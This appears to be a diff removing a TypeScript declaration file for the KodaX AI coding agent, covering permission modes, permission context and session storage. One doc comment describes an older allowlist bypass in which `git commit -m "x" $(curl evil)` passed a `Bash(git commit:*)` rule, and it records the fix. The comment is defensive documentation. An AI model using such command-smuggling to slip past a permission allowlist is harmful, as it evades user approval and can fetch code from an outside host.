* auto-mode engine === 'llm'; FEATURE_092 v0.7.33). When engine === 'rules',
|
|
14
|
-
* falls back to the legacy "all tools approved within project, outside
|
|
15
|
-
* requires confirmation" behavior — i.e., the v0.7.32 `auto-in-project`
|
|
16
|
-
* shape. The `auto-in-project` name is preserved as a deprecated alias
|
|
17
|
-
* for 5 minor versions (removed in v0.7.38).
|
|
18
|
-
*/
|
|
19
|
-
type PermissionMode = "plan" | "accept-edits" | "auto" | "auto-in-project";
|
|
20
|
-
declare const PERMISSION_MODES: PermissionMode[];
|
|
21
|
-
/**
|
|
22
|
-
* Status-bar display name for a permission mode. Title-Case short labels
|
|
23
|
-
* (mirrors Claude Code's `shortTitle` convention in
|
|
24
|
-
* `src/utils/permissions/PermissionMode.ts`):
|
|
25
|
-
* - `plan` → `Plan`
|
|
26
|
-
* - `accept-edits` → `Edits`
|
|
27
|
-
* - `auto` → `Auto`
|
|
28
|
-
* - `auto-in-project` → `Auto` (deprecated alias folds into the canonical
|
|
29
|
-
* display name; the deprecation notice
|
|
30
|
-
* surfaces once per session at startup)
|
|
31
|
-
*
|
|
32
|
-
* Single source of truth — both the readline status-bar
|
|
33
|
-
* (`packages/repl/src/interactive/status-bar.ts`) and the Ink view-model
|
|
34
|
-
* (`packages/repl/src/ui/view-models/status-bar.ts`) consume this so the two
|
|
35
|
-
* surfaces never drift on capitalization or short-form choice.
|
|
36
|
-
*/
|
|
37
|
-
declare function permissionModeDisplayName(mode: PermissionMode): string;
|
|
38
|
-
interface ConfirmResult {
|
|
39
|
-
confirmed: boolean;
|
|
40
|
-
always?: boolean;
|
|
41
|
-
}
|
|
42
|
-
interface PermissionContext {
|
|
43
|
-
permissionMode: PermissionMode;
|
|
44
|
-
confirmTools: Set<string>;
|
|
45
|
-
gitRoot?: string;
|
|
46
|
-
alwaysAllowTools: string[];
|
|
47
|
-
onConfirm?: (tool: string, input: Record<string, unknown>) => Promise<ConfirmResult>;
|
|
48
|
-
saveAlwaysAllowTool?: (tool: string, input: Record<string, unknown>, allowAll?: boolean) => void;
|
|
49
|
-
switchPermissionMode?: (mode: PermissionMode) => void;
|
|
50
|
-
beforeToolExecute?: (tool: string, input: Record<string, unknown>) => Promise<boolean | string>;
|
|
51
|
-
/**
|
|
52
|
-
* FEATURE_153 (v0.7.38) — Optional LLM-backed bash command prefix extractor.
|
|
53
|
-
* When supplied, `isToolCallAllowed` uses it to extract the SAFE PREFIX of
|
|
54
|
-
* a bash command before matching against allowlist patterns like
|
|
55
|
-
* `Bash(git commit:*)`. This eliminates the pre-FEATURE_153 vulnerability
|
|
56
|
-
* where `git commit -m "x" $(curl evil)` matched the allowlist via naive
|
|
57
|
-
* `command.startsWith` semantics.
|
|
58
|
-
*
|
|
59
|
-
* KodaX REPL bootstrap creates this via `createBashPrefixExtractor` from
|
|
60
|
-
* `@kodax-ai/coding` and threads it here. SDK consumers / tests without
|
|
61
|
-
* LLM access can omit it; legacy startsWith semantics apply (documented
|
|
62
|
-
* as insecure in `matchesBashPatternLegacy`).
|
|
63
|
-
*/
|
|
64
|
-
bashPrefixExtractor?: BashPrefixExtractor;
|
|
65
|
-
}
|
|
66
|
-
/**
|
|
67
|
-
* Compute the base confirmation set for each permission mode.
|
|
68
|
-
*
|
|
69
|
-
* Note: `plan` still lists the standard mutating tools here even though most of
|
|
70
|
-
* them are blocked earlier in the permission pipeline via `getPlanModeBlockReason`.
|
|
71
|
-
* This helper only describes the remaining confirmation step for calls that are
|
|
72
|
-
* not hard-blocked.
|
|
73
|
-
*/
|
|
74
|
-
declare function computeConfirmTools(mode: PermissionMode): Set<string>;
|
|
75
|
-
declare function isPermissionMode(value: string | undefined): value is PermissionMode;
|
|
76
|
-
declare function normalizePermissionMode(value: string | undefined, fallback?: PermissionMode): PermissionMode | undefined;
|
|
77
|
-
|
|
78
|
-
/**
|
|
79
|
-
* Session Storage - Session storage abstraction layer
|
|
80
|
-
*
|
|
81
|
-
* Provides a shared persistence interface across memory and filesystem storage.
|
|
82
|
-
*/
|
|
83
|
-
|
|
84
|
-
/**
|
|
85
|
-
* Session data structure.
|
|
86
|
-
*/
|
|
87
|
-
type SessionData = KodaXSessionData;
|
|
88
|
-
/**
|
|
89
|
-
* Session storage interface.
|
|
90
|
-
*/
|
|
91
|
-
interface SessionStorage {
|
|
92
|
-
save(id: string, data: SessionData): Promise<void>;
|
|
93
|
-
load(id: string): Promise<SessionData | null>;
|
|
94
|
-
getLineage?(id: string): Promise<KodaXSessionLineage | null>;
|
|
95
|
-
setActiveEntry?(id: string, selector: string, options?: KodaXSessionNavigationOptions): Promise<SessionData | null>;
|
|
96
|
-
setLabel?(id: string, selector: string, label?: string): Promise<SessionData | null>;
|
|
97
|
-
rewind?(id: string, selector?: string): Promise<SessionData | null>;
|
|
98
|
-
fork?(id: string, selector?: string, options?: {
|
|
99
|
-
sessionId?: string;
|
|
100
|
-
title?: string;
|
|
101
|
-
}): Promise<{
|
|
102
|
-
sessionId: string;
|
|
103
|
-
data: SessionData;
|
|
104
|
-
} | null>;
|
|
105
|
-
list(gitRoot?: string): Promise<Array<{
|
|
106
|
-
id: string;
|
|
107
|
-
title: string;
|
|
108
|
-
msgCount: number;
|
|
109
|
-
tag?: string;
|
|
110
|
-
runtimeInfo?: KodaXSessionRuntimeInfo;
|
|
111
|
-
}>>;
|
|
112
|
-
delete?(id: string): Promise<void>;
|
|
113
|
-
deleteAll?(gitRoot?: string): Promise<void>;
|
|
114
|
-
}
|
|
115
|
-
/**
|
|
116
|
-
* In-memory session storage implementation.
|
|
117
|
-
*/
|
|
118
|
-
declare class MemorySessionStorage implements SessionStorage {
|
|
119
|
-
private sessions;
|
|
120
|
-
save(id: string, data: SessionData): Promise<void>;
|
|
121
|
-
load(id: string): Promise<SessionData | null>;
|
|
122
|
-
getLineage(id: string): Promise<KodaXSessionLineage | null>;
|
|
123
|
-
setActiveEntry(id: string, selector: string, options?: KodaXSessionNavigationOptions): Promise<SessionData | null>;
|
|
124
|
-
setLabel(id: string, selector: string, label?: string): Promise<SessionData | null>;
|
|
125
|
-
fork(id: string, selector?: string, options?: {
|
|
126
|
-
sessionId?: string;
|
|
127
|
-
title?: string;
|
|
128
|
-
}): Promise<{
|
|
129
|
-
sessionId: string;
|
|
130
|
-
data: SessionData;
|
|
131
|
-
} | null>;
|
|
132
|
-
rewind(id: string, selector?: string): Promise<SessionData | null>;
|
|
133
|
-
list(_gitRoot?: string): Promise<Array<{
|
|
134
|
-
id: string;
|
|
135
|
-
title: string;
|
|
136
|
-
msgCount: number;
|
|
137
|
-
tag?: string;
|
|
138
|
-
}>>;
|
|
139
|
-
delete(id: string): Promise<void>;
|
|
140
|
-
deleteAll(_gitRoot?: string): Promise<void>;
|
|
141
|
-
}
|
|
142
|
-
declare function createMemorySessionStorage(): SessionStorage;
|
|
143
|
-
|
|
144
|
-
/**
|
|
145
|
-
* KodaX session storage - filesystem implementation.
|
|
146
|
-
*/
|
|
147
|
-
|
|
148
|
-
declare class FileSessionStorage implements KodaXSessionStorage {
|
|
149
|
-
private readonly sessionsDir;
|
|
150
|
-
/**
|
|
151
|
-
* v0.7.46 — optional explicit project cwd for in-process embedders
|
|
152
|
-
* (KodaX Space) serving multiple projects from a single runtime.
|
|
153
|
-
* Threaded through `getGitRoot(this.hostCwd)` and `inspectWorkspaceRuntime({cwd: this.hostCwd})`
|
|
154
|
-
* so the workspace-mismatch check in `load()` compares against the
|
|
155
|
-
* project the embedder opened, NOT the embedder's startup directory.
|
|
156
|
-
* Unset → all paths behave identically to the pre-v0.7.46 form.
|
|
157
|
-
*/
|
|
158
|
-
private readonly hostCwd?;
|
|
159
|
-
/**
|
|
160
|
-
* v0.7.46 F7 — explicit opt-in for the CLI-style "[Warning] Session
|
|
161
|
-
* project mismatch" stderr notice emitted from `load()`. Pre-v0.7.46
|
|
162
|
-
* the gate was `!this.hostCwd` which fired whenever the embedder
|
|
163
|
-
* hadn't supplied a cwd — but that ALSO matched SDK consumers who
|
|
164
|
-
* don't set cwd (e.g. KodaX Space), bleeding the yellow warning into
|
|
165
|
-
* their stdout/stderr UI channels on every cross-project load. The
|
|
166
|
-
* v0.7.46 default is `false` — silent. CLI surfaces that want the
|
|
167
|
-
* old behavior (warn when user resumes a session from outside its
|
|
168
|
-
* original project) can pass `emitMismatchWarnings: true`.
|
|
169
|
-
*/
|
|
170
|
-
private readonly emitMismatchWarnings;
|
|
171
|
-
constructor(opts?: {
|
|
172
|
-
sessionsDir?: string;
|
|
173
|
-
cwd?: string;
|
|
174
|
-
emitMismatchWarnings?: boolean;
|
|
175
|
-
});
|
|
176
|
-
private writeQueues;
|
|
177
|
-
private serializedWrite;
|
|
178
|
-
private appendState;
|
|
179
|
-
private sessionDirCache;
|
|
180
|
-
private projectJsonWritten;
|
|
181
|
-
private migrationPromise?;
|
|
182
|
-
private ensureMigrated;
|
|
183
|
-
/** Update watermarks. Only overwrites fields the caller actually provided. */
|
|
184
|
-
private syncAppendState;
|
|
185
|
-
private legacyFlatPath;
|
|
186
|
-
private legacyFlatArchivePath;
|
|
187
|
-
private projectDir;
|
|
188
|
-
/** Resolve (and cache) the project directory a write for `id` should land in. */
|
|
189
|
-
private resolveWriteDir;
|
|
190
|
-
private writeFilePath;
|
|
191
|
-
/**
|
|
192
|
-
* id-only locator (ADR-038 §7). Resolution order:
|
|
193
|
-
* 1. cached project dir for this id
|
|
194
|
-
* 2. bounded scan of project dirs: <key>/<id>.jsonl
|
|
195
|
-
* 3. bounded scan of archived: <key>/archived/<id>.jsonl
|
|
196
|
-
* 4. legacy flat: <sessionsDir>/<id>.jsonl
|
|
197
|
-
* On multiple matches (only possible for pre-FEATURE_219 same-second
|
|
198
|
-
* duplicate ids) it prefers the current process's project dir, else
|
|
199
|
-
* returns null with a warning rather than guessing.
|
|
200
|
-
*/
|
|
201
|
-
private resolveSessionLocation;
|
|
202
|
-
private readSession;
|
|
203
|
-
/** Write `<dir>/project.json` once per process per directory (best-effort). */
|
|
204
|
-
private ensureProjectJson;
|
|
205
|
-
private writeSessionInternal;
|
|
206
|
-
private mergeAndWriteInternal;
|
|
207
|
-
appendSessionDelta(id: string, data: SessionData): Promise<void>;
|
|
208
|
-
private shouldRunMaintenance;
|
|
209
|
-
private runMaintenance;
|
|
210
|
-
save(id: string, data: SessionData): Promise<void>;
|
|
211
|
-
load(id: string): Promise<SessionData | null>;
|
|
212
|
-
getLineage(id: string): Promise<KodaXSessionLineage | null>;
|
|
213
|
-
setActiveEntry(id: string, selector: string, options?: {
|
|
214
|
-
summarizeCurrentBranch?: boolean;
|
|
215
|
-
}): Promise<SessionData | null>;
|
|
216
|
-
rewind(id: string, selector?: string): Promise<SessionData | null>;
|
|
217
|
-
setLabel(id: string, selector: string, label?: string): Promise<SessionData | null>;
|
|
218
|
-
fork(id: string, selector?: string, options?: {
|
|
219
|
-
sessionId?: string;
|
|
220
|
-
title?: string;
|
|
221
|
-
}): Promise<{
|
|
222
|
-
sessionId: string;
|
|
223
|
-
data: SessionData;
|
|
224
|
-
} | null>;
|
|
225
|
-
/**
|
|
226
|
-
* v0.7.46 — `opts.limit` added so SDK consumers can request more than
|
|
227
|
-
* the legacy 10-entry cap. Default stays at 10 to preserve the
|
|
228
|
-
* interactive REPL picker's behavior. The `public-api.ts` fast path
|
|
229
|
-
* forwards the caller's `limit`; `deleteAll()` passes a large value
|
|
230
|
-
* so it can enumerate ALL sessions for the gitRoot.
|
|
231
|
-
*
|
|
232
|
-
* v0.7.46 — return now carries `createdAt` so the fast path in
|
|
233
|
-
* `public-api.ts` no longer silently strips it. Pre-v0.7.46 callers
|
|
234
|
-
* that only destructured `{id, title, msgCount, runtimeInfo}` are
|
|
235
|
-
* unaffected (extra fields are ignored).
|
|
236
|
-
*/
|
|
237
|
-
list(gitRoot?: string, opts?: {
|
|
238
|
-
limit?: number;
|
|
239
|
-
includeArchived?: boolean;
|
|
240
|
-
}): Promise<Array<{
|
|
241
|
-
id: string;
|
|
242
|
-
title: string;
|
|
243
|
-
msgCount: number;
|
|
244
|
-
tag?: string;
|
|
245
|
-
runtimeInfo?: KodaXSessionRuntimeInfo;
|
|
246
|
-
archived?: boolean;
|
|
247
|
-
createdAt?: string;
|
|
248
|
-
}>>;
|
|
249
|
-
/**
|
|
250
|
-
* FEATURE_219 Phase 4 — whole-session archive (ADR-038 §4). Moves the session
|
|
251
|
-
* file together with its island sidecar into `<projectKey>/archived/`. Paired
|
|
252
|
-
* (never orphans the sidecar). No-op + returns false for a missing session.
|
|
253
|
-
*/
|
|
254
|
-
archive(id: string): Promise<boolean>;
|
|
255
|
-
/** Restore an archived session back into its project directory. */
|
|
256
|
-
unarchive(id: string): Promise<boolean>;
|
|
257
|
-
/**
|
|
258
|
-
* Move a session + its island sidecar between two directories. Propagates a
|
|
259
|
-
* non-ENOENT rename error (e.g. Windows file-in-use) so a partial move is
|
|
260
|
-
* surfaced as a failure instead of silently splitting main + sidecar.
|
|
261
|
-
*/
|
|
262
|
-
private movePair;
|
|
263
|
-
delete(id: string): Promise<void>;
|
|
264
|
-
deleteAll(gitRoot?: string): Promise<void>;
|
|
265
|
-
/**
|
|
266
|
-
* Auto-retention: delete session files (`.jsonl` + `.archive.jsonl`) whose
|
|
267
|
-
* mtime is older than `retentionDays`. Modeled on claudecode's
|
|
268
|
-
* `cleanup.ts` (`unlinkIfOld`). Bounds the sessions directory so it never
|
|
269
|
-
* accumulates unboundedly — which is what keeps `list()`'s head-read pass
|
|
270
|
-
* fast (its cost scales with file COUNT, not size). A non-positive /
|
|
271
|
-
* non-finite `retentionDays` disables cleanup (no-op). Best-effort: per-file
|
|
272
|
-
* errors are swallowed so a single locked/racing file never aborts the
|
|
273
|
-
* sweep. Returns the number of files removed. mtime-based, so the session
|
|
274
|
-
* currently being written/resumed (fresh mtime) is never eligible.
|
|
275
|
-
*/
|
|
276
|
-
cleanupOldSessions(retentionDays: number): Promise<number>;
|
|
277
|
-
}
|
|
278
|
-
|
|
279
|
-
export { FileSessionStorage as F, MemorySessionStorage as M, PERMISSION_MODES as P, computeConfirmTools as d, createMemorySessionStorage as e, isPermissionMode as i, normalizePermissionMode as n, permissionModeDisplayName as p };
|
|
280
|
-
export type { ConfirmResult as C, SessionData as S, PermissionContext as a, PermissionMode as b, SessionStorage as c };
|